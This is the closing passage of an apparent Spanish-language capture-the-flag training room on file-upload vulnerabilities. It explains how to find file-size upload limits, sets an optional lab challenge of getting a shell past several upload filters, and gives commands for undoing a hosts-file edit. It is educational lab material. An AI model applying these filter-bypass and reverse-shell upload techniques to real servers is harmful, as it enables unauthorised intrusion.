- Enumerar los filtros de longitud de archivo consiste en subir un archivo pequeño y luego subir progresivamente archivos cada vez más grandes hasta alcanzar el filtro. En ese momento, sabrá cuál es el límite aceptable. Con suerte, el mensaje de error de la carga original podría indicarle directamente cuál es el límite de tamaño. Tenga en cuenta que un límite de longitud de archivo pequeño podría impedirle subir el shell inverso que hemos estado usando hasta ahora.
Ahora debería estar bien equipado para afrontar el desafío de la tarea once.
Desafío [Opcional]
Descargar archivos de tareas
Nota del autor: Tras años de confusión, el desafío es opcional. Las siguientes instrucciones siguen funcionando y el desafío sigue disponible en la máquina virtual proporcionada si decide intentarlo.
Tenga en cuenta que el desafío es un gran avance respecto del contenido del tutorial en la sala y contiene un giro que es muy poco probable que vea en el mundo real.
¡Es tiempo de desafíos!
Dirígete a jewel.uploadvulns.thm.
Usa lo aprendido en esta sala para obtener un shell en esta máquina. Como siempre, tu bandera está en /var/www/. Ten en cuenta que este desafío será una acumulación de todo lo aprendido hasta ahora, por lo que podría haber varios filtros que sortear. La lista de palabras adjunta podría serte útil. Recuerda también que no todos los servidores web tienen un backend PHP .
Si necesitas ayuda aquí encontrarás una serie de consejos .
Además, hay un tutorial en video completo disponible para este desafío aquí .
Conclusión
Bueno, eso es todo. Esperamos que hayas aprendido algo al completar esta sala. Esta fue una breve introducción a los fundamentos de las vulnerabilidades en la carga de archivos; ¡hay mucho más que aprender! Usa lo aprendido aquí para investigar exploits más avanzados relacionados con la carga maliciosa de archivos.
Ahora que has terminado la sala, recuerda revertir los cambios que realizaste en tu hostsarchivo, en la Tarea 1.
A modo de recordatorio, aquí están los comandos para hacerlo.
En Linux o MacOS:
sudo sed -i ‘$d’ /etc/hosts
En Windows:
(GC C:\Windows\System32\drivers\etc\hosts | select -Skiplast 1) | SC C:\Windows\System32\drivers\etc\hosts

Sigan entrenando, Hacketones, Nos vemos en el próximo laboratorio!!!